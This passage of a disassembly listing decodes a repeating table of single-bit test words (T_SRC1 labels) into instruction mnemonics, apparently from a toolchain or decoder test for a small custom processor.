314cc: 00 10 00 00 add r0,0
000314d0 <T_SRC1_245>:
314d0: 00 20 00 00 sub r0,r0
000314d4 <T_SRC1_246>:
314d4: 00 40 00 00 mull r0,r0
000314d8 <T_SRC1_247>:
314d8: 00 80 00 00 udiv r0,r0
000314dc <T_SRC1_248>:
314dc: 01 00 00 00 mod r0,r0
000314e0 <T_SRC1_249>:
314e0: 02 00 00 00 inc r0,r0
000314e4 <T_SRC1_250>:
314e4: 04 00 00 00 *unknown*
000314e8 <T_SRC1_251>:
314e8: 08 00 00 00 shl r0,r0
000314ec <T_SRC1_252>:
314ec: 10 00 00 00 ld8 r0,r0
000314f0 <T_SRC1_253>:
314f0: 20 00 00 00 nop
000314f4 <T_SRC1_254>:
314f4: 40 00 00 00 *unknown*
000314f8 <T_SRC1_255>:
314f8: 80 00 00 00 *unknown*
000314fc <T_SRC1_256>:
314fc: 00 00 00 01 add r0,r1
00031500 <T_SRC1_257>:
31500: 00 00 00 02 add r0,r2
00031504 <T_SRC1_258>:
31504: 00 00 00 04 add r0,r4
00031508 <T_SRC1_259>:
31508: 00 00 00 08 add r0,r8
0003150c <T_SRC1_260>:
3150c: 00 00 00 10 add r0,r16
00031510 <T_SRC1_261>:
31510: 00 00 00 20 add r1,r0
00031514 <T_SRC1_262>:
31514: 00 00 00 40 add r2,r0
00031518 <T_SRC1_263>:
31518: 00 00 00 80 add r4,r0
0003151c <T_SRC1_264>:
3151c: 00 00 01 00 add r8,r0
00031520 <T_SRC1_265>:
31520: 00 00 02 00 add r16,r0
00031524 <T_SRC1_266>:
31524: 00 00 04 00 *unknown*
00031528 <T_SRC1_267>:
31528: 00 00 08 00 *unknown*
0003152c <T_SRC1_268>:
3152c: 00 00 10 00 *unknown*
00031530 <T_SRC1_269>:
31530: 00 00 20 00 *unknown*
00031534 <T_SRC1_270>:
31534: 00 00 40 00 *unknown*
00031538 <T_SRC1_271>:
31538: 00 00 80 00 *unknown*
0003153c <T_SRC1_272>:
3153c: 00 01 00 00 *unknown*
00031540 <T_SRC1_273>:
31540: 00 02 00 00 *unknown*
00031544 <T_SRC1_274>:
31544: 00 04 00 00 *unknown*
00031548 <T_SRC1_275>:
31548: 00 08 00 00 *unknown*
0003154c <T_SRC1_276>:
3154c: 00 10 00 00 add r0,0
00031550 <T_SRC1_277>:
31550: 00 20 00 00 sub r0,r0
00031554 <T_SRC1_278>:
31554: 00 40 00 00 mull r0,r0
00031558 <T_SRC1_279>:
31558: 00 80 00 00 udiv r0,r0
0003155c <T_SRC1_280>:
3155c: 01 00 00 00 mod r0,r0
00031560 <T_SRC1_281>:
31560: 02 00 00 00 inc r0,r0
00031564 <T_SRC1_282>:
31564: 04 00 00 00 *unknown*
00031568 <T_SRC1_283>:
31568: 08 00 00 00 shl r0,r0
0003156c <T_SRC1_284>:
3156c: 10 00 00 00 ld8 r0,r0
00031570 <T_SRC1_285>:
31570: 20 00 00 00 nop
00031574 <T_SRC1_286>:
31574: 40 00 00 00 *unknown*
00031578 <T_SRC1_287>:
31578: 80 00 00 00 *unknown*
0003157c <T_SRC1_288>:
3157c: 00 00 00 01 add r0,r1
00031580 <T_SRC1_289>:
31580: 00 00 00 02 add r0,r2
00031584 <T_SRC1_290>:
31584: 00 00 00 04 add r0,r4
00031588 <T_SRC1_291>:
31588: 00 00 00 08 add r0,r8
0003158c <T_SRC1_292>:
3158c: 00 00 00 10 add r0,r16
00031590 <T_SRC1_293>:
31590: 00 00 00 20 add r1,r0
00031594 <T_SRC1_294>:
31594: 00 00 00 40 add r2,r0
00031598 <T_SRC1_295>:
31598: 00 00 00 80 add r4,r0
0003159c <T_SRC1_296>:
3159c: 00 00 01 00 add r8,r0
000315a0 <T_SRC1_297>:
315a0: 00 00 02 00 add r16,r0
000315a4 <T_SRC1_298>:
315a4: 00 00 04 00 *unknown*
000315a8 <T_SRC1_299>:
315a8: 00 00 08 00 *unknown*
000315ac <T_SRC1_300>:
315ac: 00 00 10 00 *unknown*
000315b0 <T_SRC1_301>:
315b0: 00 00 20 00 *unknown*
000315b4 <T_SRC1_302>:
315b4: 00 00 40 00 *unknown*
000315b8 <T_SRC1_303>:
315b8: 00 00 80 00 *unknown*
000315bc <T_SRC1_304>:
315bc: 00 01 00 00 *unknown*
000315c0 <T_SRC1_305>:
315c0: 00 02 00 00 *unknown*
000315c4 <T_SRC1_306>:
315c4: 00 04 00 00 *unknown*
000315c8 <T_SRC1_307>:
315c8: 00 08 00 00 *unknown*
000315cc <T_SRC1_308>:
315cc: 00 10 00 00 add r0,0
000315d0 <T_SRC1_309>:
315d0: 00 20 00 00 sub r0,r0
000315d4 <T_SRC1_310>:
315d4: 00 40 00 00 mull r0,r0
000315d8 <T_SRC1_311>:
315d8: 00 80 00 00 udiv r0,r0
000315dc <T_SRC1_312>:
315dc: 01 00 00 00 mod r0,r0
000315e0 <T_SRC1_313>:
315e0: 02 00 00 00 inc r0,r0
000315e4 <T_SRC1_314>:
315e4: 04 00 00 00 *unknown*
000315e8 <T_SRC1_315>:
315e8: 08 00 00 00 shl r0,r0
000315ec <T_SRC1_316>:
315ec: 10 00 00 00 ld8 r0,r0
000315f0 <T_SRC1_317>:
315f0: 20 00 00 00 nop
000315f4 <T_SRC1_318>:
315f4: 40 00 00 00 *unknown*
000315f8 <T_SRC1_319>:
315f8: 80 00 00 00 *unknown*
000315fc <T_SRC1_320>:
315fc: 00 00 00 01 add r0,r1
00031600 <T_SRC1_321>:
31600: 00 00 00 02 add r0,r2
00031604 <T_SRC1_322>:
31604: 00 00 00 04 add r0,r4
00031608 <T_SRC1_323>:
31608: 00 00 00 08 add r0,r8
0003160c <T_SRC1_324>:
3160c: 00 00 00 10 add r0,r16
00031610 <T_SRC1_325>:
31610: 00 00 00 20 add r1,r0
00031614 <T_SRC1_326>:
31614: 00 00 00 40 add r2,r0
00031618 <T_SRC1_327>:
31618: 00 00 00 80 add r4,r0
0003161c <T_SRC1_328>:
3161c: 00 00 01 00 add r8,r0
00031620 <T_SRC1_329>:
31620: 00 00 02 00 add r16,r0
00031624 <T_SRC1_330>:
31624: 00 00 04 00 *unknown*
00031628 <T_SRC1_331>:
31628: 00 00 08 00 *unknown*
0003162c <T_SRC1_332>:
3162c: 00 00 10 00 *unknown*
00031630 <T_SRC1_333>:
31630: 00 00 20 00 *unknown*
00031634 <T_SRC1_334>:
31634: 00 00 40 00 *unknown*
00031638 <T_SRC1_335>:
31638: 00 00 80 00 *unknown*
0003163c <T_SRC1_336>:
3163c: 00 01 00 00 *unknown*
00031640 <T_SRC1_337>:
31640: 00 02 00 00 *unknown*
00031644 <T_SRC1_338>:
31644: 00 04 00 00 *unknown*
00031648 <T_SRC1_339>:
31648: 00 08 00 00 *unknown*
0003164c <T_SRC1_340>:
3164c: 00 10 00 00 add r0,0
00031650 <T_SRC1_341>:
31650: 00 20 00 00 sub r0,r0
00031654 <T_SRC1_342>:
31654: 00 40 00 00 mull r0,r0
00031658 <T_SRC1_343>:
31658: 00 80 00 00 udiv r0,r0
0003165c <T_SRC1_344>:
3165c: 01 00 00 00 mod r0,r0
00031660 <T_SRC1_345>:
31660: 02 00 00 00 inc r0,r0
00031664 <T_SRC1_346>:
31664: 04 00 00 00 *unknown*
00031668 <T_SRC1_347>:
31668: 08 00 00 00 shl r0,r0
0003166c <T_SRC1_348>:
3166c: 10 00 00 00 ld8 r0,r0
00031670 <T_SRC1_349>:
31670: 20 00 00 00 nop
00031674 <T_SRC1_350>:
31674: 40 00 00 00 *unknown*
00031678 <T_SRC1_351>:
31678: 80 00 00 00 *unknown*
0003167c <T_SRC1_352>:
3167c: 00 00 00 01 add r0,r1
00031680 <T_SRC1_353>:
31680: 00 00 00 02 add r0,r2
00031684 <T_SRC1_354>:
31684: 00 00 00 04 add r0,r4
00031688 <T_SRC1_355>:
31688: 00 00 00 08 add r0,r8
0003168c <T_SRC1_356>:
3168c: 00 00 00 10 add r0,r16
00031690 <T_SRC1_357>:
31690: 00 00 00 20 add r1,r0
00031694 <T_SRC1_358>:
31694: 00 00 00 40 add r2,r0
00031698 <T_SRC1_359>:
31698: 00 00 00 80 add r4,r0
0003169c <T_SRC1_360>:
3169c: 00 00 01 00 add r8,r0
000316a0 <T_SRC1_361>:
316a0: 00 00 02 00 add r16,r0
000316a4 <T_SRC1_362>:
316a4: 00 00 04 00 *unknown*
000316a8 <T_SRC1_363>:
316a8: 00 00 08 00 *unknown*
000316ac <T_SRC1_364>:
316ac: 00 00 10 00 *unknown*
000316b0 <T_SRC1_365>:
316b0: 00 00 20 00 *unknown*
000316b4 <T_SRC1_366>:
316b4: 00 00 40 00 *unknown*
000316b8 <T_SRC1_367>:
316b8: 00 00 80 00 *unknown*
000316bc <T_SRC1_368>:
316bc: 00 01 00 00 *unknown*
000316c0 <T_SRC1_369>:
316c0: 00 02 00 00 *unknown*
000316c4 <T_SRC1_370>:
316c4: 00 04 00 00 *unknown*
000316c8 <T_SRC1_371>:
316c8: 00 08 00 00 *unknown*
000316cc <T_SRC1_372>:
316cc: 00 10 00 00 add r0,0
000316d0 <T_SRC1_373>:
316d0: 00 20 00 00 sub r0,r0
000316d4 <T_SRC1_374>:
316d4: 00 40 00 00 mull r0,r0
000316d8 <T_SRC1_375>:
316d8: 00 80 00 00 udiv r0,r0
000316dc <T_SRC1_376>:
316dc: 01 00 00 00 mod r0,r0
000316e0 <T_SRC1_377>:
316e0: 02 00 00 00 inc r0,r0
000316e4 <T_SRC1_378>:
316e4: 04 00 00 00 *unknown*
000316e8 <T_SRC1_379>:
316e8: 08 00 00 00 shl r0,r0
000316ec <T_SRC1_380>:
316ec: 10 00 00 00 ld8 r0,r0
000316f0 <T_SRC1_381>:
316f0: 20 00 00 00 nop
000316f4 <T_SRC1_382>:
316f4: 40 00 00 00 *unknown*
000316f8 <T_SRC1_383>:
316f8: 80 00 00 00 *unknown*
000316fc <T_SRC1_384>:
316fc: 00 00 00 01 add r0,r1
00031700 <T_SRC1_385>:
31700: 00 00 00 02 add r0,r2
00031704 <T_SRC1_386>:
31704: 00 00 00 04 add r0,r4
00031708 <T_SRC1_387>:
31708: 00 00 00 08 add r0,r8
0003170c <T_SRC1_388>:
3170c: 00 00 00 10 add r0,r16
00031710 <T_SRC1_389>:
31710: 00 00 00 20 add r1,r0
00031714 <T_SRC1_390>:
31714: 00 00 00 40 add r2,r0
00031718 <T_SRC1_391>:
31718: 00 00 00 80 add r4,r0
0003171c <T_SRC1_392>:
3171c: 00 00 01 00 add r8,r0
00031720 <T_SRC1_393>:
31720: 00 00 02 00 add r16,r0
00031724 <T_SRC1_394>:
31724: 00 00 04 00 *unknown*
00031728 <T_SRC1_395>:
31728: 00 00 08 00 *unknown*
0003172c <T_SRC1_396>:
3172c: 00 00 10 00 *unknown*
00031730 <T_SRC1_397>:
31730: 00 00 20 00 *unknown*
00031734 <T_SRC1_398>:
31734: 00 00 40 00 *unknown*
00031738 <T_SRC1_399>:
31738: 00 00 80 00 *unknown*
0003173c <T_SRC1_400>:
3173c: 00 01 00 00 *unknown*
00031740 <T_SRC1_401>:
31740: 00 02 00 00 *unknown*
00031744 <T_SRC1_402>:
31744: 00 04 00 00 *unknown*
00031748 <T_SRC1_403>:
31748: 00 08 00 00 *unknown*
0003174c <T_SRC1_404>:
3174c: 00 10 00 00 add r0,0
00031750 <T_SRC1_405>:
31750: 00 20 00 00 sub r0,r0
00031754 <T_SRC1_406>:
31754: 00 40 00 00 mull r0,r0
00031758 <T_SRC1_407>:
31758: 00 80 00 00 udiv r0,r0
0003175c <T_SRC1_408>:
3175c: 01 00 00 00 mod r0,r0
00031760 <T_SRC1_409>:
31760: 02 00 00 00 inc r0,r0
00031764 <T_SRC1_410>:
31764: 04 00 00 00 *unknown*
00031768 <T_SRC1_411>:
31768: 08 00 00 00 shl r0,r0
0003176c <T_SRC1_412>:
3176c: 10 00 00 00 ld8 r0,r0
00031770 <T_SRC1_413>:
31770: 20 00 00 00 nop
00031774 <T_SRC1_414>:
31774: 40 00 00 00 *unknown*
00031778 <T_SRC1_415>:
31778: 80 00 00 00 *unknown*
0003177c <T_SRC1_416>:
3177c: 00 00 00 01 add r0,r1
00031780 <T_SRC1_417>:
31780: 00 00 00 02 add r0,r2
00031784 <T_SRC1_418>:
31784: 00 00 00 04 add r0,r4
00031788 <T_SRC1_419>:
31788: 00 00 00 08 add r0,r8
0003178c <T_SRC1_420>:
3178c: 00 00 00 10 add r0,r16
00031790 <T_SRC1_421>:
31790: 00 00 00 20 add r1,r0
00031794 <T_SRC1_422>:
31794: 00 00 00 40 add r2,r0
00031798 <T_SRC1_423>:
31798: 00 00 00 80 add r4,r0
0003179c <T_SRC1_424>:
3179c: 00 00 01 00 add r8,r0
000317a0 <T_SRC1_425>:
317a0: 00 00 02 00 add r16,r0
000317a4 <T_SRC1_426>:
317a4: 00 00 04 00 *unknown*
000317a8 <T_SRC1_427>:
317a8: 00 00 08 00 *unknown*
000317ac <T_SRC1_428>:
317ac: 00 00 10 00 *unknown*
000317b0 <T_SRC1_429>:
317b0: 00 00 20 00 *unknown*
000317b4 <T_SRC1_430>:
317b4: 00 00 40 00 *unknown*
000317b8 <T_SRC1_431>:
317b8: 00 00 80 00 *unknown*
000317bc <T_SRC1_432>:
317bc: 00 01 00 00 *unknown*
000317c0 <T_SRC1_433>:
317c0: 00 02 00 00 *unknown*
000317c4 <T_SRC1_434>:
317c4: 00 04 00 00 *unknown*
000317c8 <T_SRC1_435>:
317c8: 00 08 00 00 *unknown*
000317cc <T_SRC1_436>:
317cc: 00 10 00 00 add r0,0
000317d0 <T_SRC1_437>:
317d0: 00 20 00 00 sub r0,r0
000317d4 <T_SRC1_438>:
317d4: 00 40 00 00 mull r0,r0
000317d8 <T_SRC1_439>:
317d8: 00 80 00 00 udiv r0,r0
000317dc <T_SRC1_440>:
317dc: 01 00 00 00 mod r0,r0
000317e0 <T_SRC1_441>:
317e0: 02 00 00 00 inc r0,r0
000317e4 <T_SRC1_442>:
317e4: 04 00 00 00 *unknown*
000317e8 <T_SRC1_443>:
317e8: 08 00 00 00 shl r0,r0
000317ec <T_SRC1_444>:
317ec: 10 00 00 00 ld8 r0,r0
000317f0 <T_SRC1_445>:
317f0: 20 00 00 00 nop
000317f4 <T_SRC1_446>:
317f4: 40 00 00 00 *unknown*
000317f8 <T_SRC1_447>:
317f8: 80 00 00 00 *unknown*
000317fc <T_SRC1_448>:
317fc: 00 00 00 01 add r0,r1
00031800 <T_SRC1_449>:
31800: 00 00 00 02 add r0,r2
00031804 <T_SRC1_450>:
31804: 00 00 00 04 add r0,r4
00031808 <T_SRC1_451>:
31808: 00 00 00 08 add r0,r8
0003180c <T_SRC1_452>:
3180c: 00 00 00 10 add r0,r16
00031810 <T_SRC1_453>:
31810: 00 00 00 20 add r1,r0
00031814 <T_SRC1_454>:
31814: 00 00 00 40 add r2,r0
00031818 <T_SRC1_455>:
31818: 00 00 00 80 add r4,r0
0003181c <T_SRC1_456>:
3181c: 00 00 01 00 add r8,r0
00031820 <T_SRC1_457>:
31820: 00 00 02 00 add r16,r0
00031824 <T_SRC1_458>:
31824: 00 00 04 00 *unknown*
00031828 <T_SRC1_459>:
31828: 00 00 08 00 *unknown*
0003182c <T_SRC1_460>:
3182c: 00 00 10 00 *unknown*
00031830 <T_SRC1_461>:
31830: 00 00 20 00 *unknown*
00031834 <T_SRC1_462>:
31834: 00 00 40 00 *unknown*
00031838 <T_SRC1_463>:
31838: 00 00 80 00 *unknown*
0003183c <T_SRC1_464>:
3183c: 00 01 00 00 *unknown*
00031840 <T_SRC1_465>:
31840: 00 02 00 00 *unknown*
00031844 <T_SRC1_466>:
31844: 00 04 00 00 *unknown*
00031848 <T_SRC1_467>:
31848: 00 08 00 00 *unknown*
0003184c <T_SRC1_468>:
3184c: 00 10 00 00 add r0,0
00031850 <T_SRC1_469>:
31850: 00 20 00 00 sub r0,r0
00031854 <T_SRC1_470>:
31854: 00 40 00 00 mull r0,r0
00031858 <T_SRC1_471>:
31858: 00 80 00 00 udiv r0,r0
0003185c <T_SRC1_472>:
3185c: 01 00 00 00 mod r0,r0
00031860 <T_SRC1_473>:
31860: 02 00 00 00 inc r0,r0
00031864 <T_SRC1_474>:
31864: 04 00 00 00 *unknown*
00031868 <T_SRC1_475>:
31868: 08 00 00 00 shl r0,r0
0003186c <T_SRC1_476>:
3186c: 10 00 00 00 ld8 r0,r0
00031870 <T_SRC1_477>:
31870: 20 00 00 00 nop
00031874 <T_SRC1_478>:
31874: 40 00 00 00 *unknown*
00031878 <T_SRC1_479>:
31878: 80 00 00 00 *unknown*
0003187c <T_SRC1_480>:
3187c: 00 00 00 01 add r0,r1
00031880 <T_SRC1_481>:
31880: 00 00 00 02 add r0,r2
00031884 <T_SRC1_482>:
31884: 00 00 00 04 add r0,r4
00031888 <T_SRC1_483>:
31888: 00 00 00 08 add r0,r8
0003188c <T_SRC1_484>:
3188c: 00 00 00 10 add r0,r16
00031890 <T_SRC1_485>:
31890: 00 00 00 20 add r1,r0
00031894 <T_SRC1_486>:
31894: 00 00 00 40 add r2,r0
00031898 <T_SRC1_487>:
31898: 00 00 00 80 add r4,r0
0003189c <T_SRC1_488>:
3189c: 00 00 01 00 add r8,r0
000318a0 <T_SRC1_489>:
318a0: 00 00 02 00 add r16,r0
000318a4 <T_SRC1_490>:
318a4: 00 00 04 00 *unknown*
000318a8 <T_SRC1_491>:
318a8: 00 00 08 00 *unknown*
000318ac <T_SRC1_492>:
318ac: 00 00 10 00 *unknown*
000318b0 <T_SRC1_493>:
318b0: 00 00 20 00 *unknown*
000318b4 <T_SRC1_494>:
318b4: 00 00 40 00 *unknown*
000318b8 <T_SRC1_495>:
318b8: 00 00 80 00 *unknown*
000318bc <T_SRC1_496>:
318bc: 00 01 00 00 *unknown*
000318c0 <T_SRC1_497>:
318c0: 00 02 00 00 *unknown*
000318c4 <T_SRC1_498>:
318c4: 00 04 00 00 *unknown*
000318c8 <T_SRC1_499>:
318c8: 00 08 00 00 *unknown*
000318cc <T_SRC1_500>:
318cc: 00 10 00 00 add r0,0
000318d0 <T_SRC1_501>:
318d0: 00 20 00 00 sub r0,r0
000318d4 <T_SRC1_502>:
318d4: 00 40 00 00 mull r0,r0
000318d8 <T_SRC1_503>:
318d8: 00 80 00 00 udiv r0,r0
000318dc <T_SRC1_504>:
318dc: 01 00 00 00 mod r0,r0
000318e0 <T_SRC1_505>:
318e0: 02 00 00 00 inc r0,r0
000318e4 <T_SRC1_506>:
318e4: 04 00 00 00 *unknown*
000318e8 <T_SRC1_507>:
318e8: 08 00 00 00 shl r0,r0
000318ec <T_SRC1_508>:
318ec: 10 00 00 00 ld8 r0,r0
000318f0 <T_SRC1_509>:
318f0: 20 00 00 00 nop
000318f4 <T_SRC1_510>:
318f4: 40 00 00 00 *unknown*
000318f8 <T_SRC1_511>:
318f8: 80 00 00 00 *unknown*
000318fc <T_SRC1_512>:
318fc: 00 00 00 01 add r0,r1
00031900 <T_SRC1_513>:
31900: 00 00 00 02 add r0,r2
00031904 <T_SRC1_514>:
31904: 00 00 00 04 add r0,r4
00031908 <T_SRC1_515>:
31908: 00 00 00 08 add r0,r8
0003190c <T_SRC1_516>:
3190c: 00 00 00 10 add r0,r16
00031910 <T_SRC1_517>:
31910: 00 00 00 20 add r1,r0
00031914 <T_SRC1_518>:
31914: 00 00 00 40 add r2,r0
00031918 <T_SRC1_519>:
31918: 00 00 00 80 add r4,r0
0003191c <T_SRC1_520>:
3191c: 00 00 01 00 add r8,r0
00031920 <T_SRC1_521>:
31920: 00 00 02 00 add r16,r0
00031924 <T_SRC1_522>:
31924: 00 00 04 00 *unknown*
00031928 <T_SRC1_523>:
31928: 00 00 08 00 *unknown*
0003192c <T_SRC1_524>:
3192c: 00 00 10 00 *unknown*
00031930 <T_SRC1_525>:
31930: 00 00 20 00 *unknown*
00031934 <T_SRC1_526>:
31934: 00 00 40 00 *unknown*
00031938 <T_SRC1_527>:
31938: 00 00 80 00 *unknown*
0003193c <T_SRC1_528>:
3193c: 00 01 00 00 *unknown*
00031940 <T_SRC1_529>:
31940: 00 02 00 00 *unknown*
00031944 <T_SRC1_530>:
31944: 00 04 00 00 *unknown*
00031948 <T_SRC1_531>:
31948: 00 08 00 00 *unknown*
0003194c <T_SRC1_532>:
3194c: 00 10 00 00 add r0,0
00031950 <T_SRC1_533>:
31950: 00 20 00 00 sub r0,r0
00031954 <T_SRC1_534>:
31954: 00 40 00 00 mull r0,r0
00031958 <T_SRC1_535>:
31958: 00 80 00 00 udiv r0,r0
0003195c <T_SRC1_536>:
3195c: 01 00 00 00 mod r0,r0
00031960 <T_SRC1_537>:
31960: 02 00 00 00 inc r0,r0
00031964 <T_SRC1_538>:
31964: 04 00 00 00 *unknown*
00031968 <T_SRC1_539>:
31968: 08 00 00 00 shl r0,r0
0003196c <T_SRC1_540>:
3196c: 10 00 00 00 ld8 r0,r0
00031970 <T_SRC1_541>:
31970: 20 00 00 00 nop
00031974 <T_SRC1_542>:
31974: 40 00 00 00 *unknown*
00031978 <T_SRC1_543>:
31978: 80 00 00 00 *unknown*
0003197c <T_SRC1_544>:
3197c: 00 00 00 01 add r0,r1
00031980 <T_SRC1_545>:
31980: 00 00 00 02 add r0,r2
00031984 <T_SRC1_546>:
31984: 00 00 00 04 add r0,r4
00031988 <T_SRC1_547>:
31988: 00 00 00 08 add r0,r8
0003198c <T_SRC1_548>:
3198c: 00 00 00 10 add r0,r16
00031990 <T_SRC1_549>:
31990: 00 00 00 20 add r1,r0
00031994 <T_SRC1_550>:
31994: 00 00 00 40 add r2,r0
00031998 <T_SRC1_551>:
31998: 00 00 00 80 add r4,r0
0003199c <T_SRC1_552>:
3199c: 00 00 01 00 add r8,r0
000319a0 <T_SRC1_553>:
319a0: 00 00 02 00 add r16,r0
000319a4 <T_SRC1_554>:
319a4: 00 00 04 00 *unknown*
000319a8 <T_SRC1_555>:
319a8: 00 00 08 00 *unknown*
000319ac <T_SRC1_556>:
319ac: 00 00 10 00 *unknown*
000319b0 <T_SRC1_557>:
319b0: 00 00 20 00 *unknown*
000319b4 <T_SRC1_558>:
319b4: 00 00 40 00 *unknown*
000319b8 <T_SRC1_559>:
319b8: 00 00 80 00 *unknown*
000319bc <T_SRC1_560>:
319bc: 00 01 00 00 *unknown*
000319c0 <T_SRC1_561>:
319c0: 00 02 00 00 *unknown*
000319c4 <T_SRC1_562>:
319c4: 00 04 00 00 *unknown*
000319c8 <T_SRC1_563>:
319c8: 00 08 00 00 *unknown*
000319cc <T_SRC1_564>:
319cc: 00 10 00 00 add r0,0
000319d0 <T_SRC1_565>:
319d0: 00 20 00 00 sub r0,r0
000319d4 <T_SRC1_566>:
319d4: 00 40 00 00 mull r0,r0
000319d8 <T_SRC1_567>:
319d8: 00 80 00 00 udiv r0,r0
000319dc <T_SRC1_568>:
319dc: 01 00 00 00 mod r0,r0
000319e0 <T_SRC1_569>:
319e0: 02 00 00 00 inc r0,r0
000319e4 <T_SRC1_570>:
319e4: 04 00 00 00 *unknown*
000319e8 <T_SRC1_571>:
319e8: 08 00 00 00 shl r0,r0
000319ec <T_SRC1_572>:
319ec: 10 00 00 00 ld8 r0,r0
000319f0 <T_SRC1_573>:
319f0: 20 00 00 00 nop
000319f4 <T_SRC1_574>:
319f4: 40 00 00 00 *unknown*
000319f8 <T_SRC1_575>:
319f8: 80 00 00 00 *unknown*
000319fc <T_SRC1_576>:
319fc: 00 00 00 01 add r0,r1
00031a00 <T_SRC1_577>:
31a00: 00 00 00 02 add r0,r2
00031a04 <T_SRC1_578>:
31a04: 00 00 00 04 add r0,r4
00031a08 <T_SRC1_579>:
31a08: 00 00 00 08 add r0,r8
00031a0c <T_SRC1_580>:
31a0c: 00 00 00 10 add r0,r16
00031a10 <T_SRC1_581>:
31a10: 00 00 00 20 add r1,r0
00031a14 <T_SRC1_582>:
31a14: 00 00 00 40 add r2,r0
00031a18 <T_SRC1_583>:
31a18: 00 00 00 80 add r4,r0
00031a1c <T_SRC1_584>:
31a1c: 00 00 01 00 add r8,r0
00031a20 <T_SRC1_585>:
31a20: 00 00 02 00 add r16,r0
00031a24 <T_SRC1_586>:
31a24: 00 00 04 00 *unknown*
00031a28 <T_SRC1_587>:
31a28: 00 00 08 00 *unknown*
00031a2c <T_SRC1_588>:
31a2c: 00 00 10 00 *unknown*
00031a30 <T_SRC1_589>:
31a30: 00 00 20 00 *unknown*
00031a34 <T_SRC1_590>:
31a34: 00 00 40 00 *unknown*
00031a38 <T_SRC1_591>:
31a38: 00 00 80 00 *unknown*
00031a3c <T_SRC1_592>:
31a3c: 00 01 00 00 *unknown*
00031a40 <T_SRC1_593>:
31a40: 00 02 00 00 *unknown*
00031a44 <T_SRC1_594>:
31a44: 00 04 00 00 *unknown*
00031a48 <T_SRC1_595>:
31a48: 00 08 00 00 *unknown*
00031a4c <T_SRC1_596>:
31a4c: 00 10 00 00 add r0,0
00031a50 <T_SRC1_597>:
31a50: 00 20 00 00 sub r0,r0
00031a54 <T_SRC1_598>:
31a54: 00 40 00 00 mull r0,r0
00031a58 <T_SRC1_599>:
31a58: 00 80 00 00 udiv r0,r0
00031a5c <T_SRC1_600>:
31a5c: 01 00 00 00 mod r0,r0
00031a60 <T_SRC1_601>:
31a60: 02 00 00 00 inc r0,r0
00031a64 <T_SRC1_602>:
31a64: 04 00 00 00 *unknown*
00031a68 <T_SRC1_603>:
31a68: 08 00 00 00 shl r0,r0
00031a6c <T_SRC1_604>:
31a6c: 10 00 00 00 ld8 r0,r0
00031a70 <T_SRC1_605>:
31a70: 20 00 00 00 nop
00031a74 <T_SRC1_606>:
31a74: 40 00 00 00 *unknown*
00031a78 <T_SRC1_607>:
31a78: 80 00 00 00 *unknown*
00031a7c <T_SRC1_608>:
31a7c: 00 00 00 01 add r0,r1
00031a80 <T_SRC1_609>:
31a80: 00 00 00 02 add r0,r2
00031a84 <T_SRC1_610>:
31a84: 00 00 00 04 add r0,r4
00031a88 <T_SRC1_611>:
31a88: 00 00 00 08 add r0,r8
00031a8c <T_SRC1_612>:
31a8c: 00 00 00 10 add r0,r16
00031a90 <T_SRC1_613>:
31a90: 00 00 00 20 add r1,r0
00031a94 <T_SRC1_614>:
31a94: 00 00 00 40 add r2,r0
00031a98 <T_SRC1_615>:
31a98: 00 00 00 80 add r4,r0
00031a9c <T_SRC1_616>:
31a9c: 00 00 01 00 add r8,r0
00031aa0 <T_SRC1_617>:
31aa0: 00 00 02 00 add r16,r0
00031aa4 <T_SRC1_618>:
31aa4: 00 00 04 00 *unknown*
00031aa8 <T_SRC1_619>:
31aa8: 00 00 08 00 *unknown*
00031aac <T_SRC1_620>:
31aac: 00 00 10 00 *unknown*
00031ab0 <T_SRC1_621>:
31ab0: 00 00 20 00 *unknown*
00031ab4 <T_SRC1_622>:
31ab4: 00 00 40 00 *unknown*
00031ab8 <T_SRC1_623>:
31ab8: 00 00 80 00 *unknown*
00031abc <T_SRC1_624>:
31abc: 00 01 00 00 *unknown*
00031ac0 <T_SRC1_625>:
31ac0: 00 02 00 00 *unknown*
00031ac4 <T_SRC1_626>:
31ac4: 00 04 00 00 *unknown*
00031ac8 <T_SRC1_627>:
31ac8: 00 08 00 00 *unknown*
00031acc <T_SRC1_628>:
31acc: 00 10 00 00 add r0,0
00031ad0 <T_SRC1_629>:
31ad0: 00 20 00 00 sub r0,r0
00031ad4 <T_SRC1_630>:
31ad4: 00 40 00 00 mull r0,r0
00031ad8 <T_SRC1_631>:
31ad8: 00 80 00 00 udiv r0,r0
00031adc <T_SRC1_632>:
31adc: 01 00 00 00 mod r0,r0
00031ae0 <T_SRC1_633>:
31ae0: 02 00 00 00 inc r0,r0
00031ae4 <T_SRC1_634>:
31ae4: 04 00 00 00 *unknown*
00031ae8 <T_SRC1_635>:
31ae8: 08 00 00 00 shl r0,r0
00031aec <T_SRC1_636>:
31aec: 10 00 00 00 ld8 r0,r0
00031af0 <T_SRC1_637>:
31af0: 20 00 00 00 nop
00031af4 <T_SRC1_638>:
31af4: 40 00 00 00 *unknown*
00031af8 <T_SRC1_639>:
31af8: 80 00 00 00 *unknown*
00031afc <T_SRC1_640>:
31afc: 00 00 00 01 add r0,r1
00031b00 <T_SRC1_641>:
31b00: 00 00 00 02 add r0,r2
00031b04 <T_SRC1_642>:
31b04: 00 00 00 04 add r0,r4
00031b08 <T_SRC1_643>:
31b08: 00 00 00 08 add r0,r8
00031b0c <T_SRC1_644>:
31b0c: 00 00 00 10 add r0,r16
00031b10 <T_SRC1_645>:
31b10: 00 00 00 20 add r1,r0
00031b14 <T_SRC1_646>:
31b14: 00 00 00 40 add r2,r0
00031b18 <T_SRC1_647>:
31b18: 00 00 00 80 add r4,r0
00031b1c <T_SRC1_648>:
31b1c: 00 00 01 00 add r8,r0
00031b20 <T_SRC1_649>:
31b20: 00 00 02 00 add r16,r0
00031b24 <T_SRC1_650>:
31b24: 00 00 04 00 *unknown*
00031b28 <T_SRC1_651>:
31b28: 00 00 08 00 *unknown*
00031b2c <T_SRC1_652>:
31b2c: 00 00 10 00 *unknown*
00031b30 <T_SRC1_653>:
31b30: 00 00 20 00 *unknown*
00031b34 <T_SRC1_654>:
31b34: 00 00 40 00 *unknown*
00031b38 <T_SRC1_655>:
31b38: 00 00 80 00 *unknown*
00031b3c <T_SRC1_656>:
31b3c: 00 01 00 00 *unknown*
00031b40 <T_SRC1_657>:
31b40: 00 02 00 00 *unknown*
00031b44 <T_SRC1_658>:
31b44: 00 04 00 00 *unknown*
00031b48 <T_SRC1_659>:
31b48: 00 08 00 00 *unknown*
00031b4c <T_SRC1_660>:
31b4c: 00 10 00 00 add r0,0
00031b50 <T_SRC1_661>:
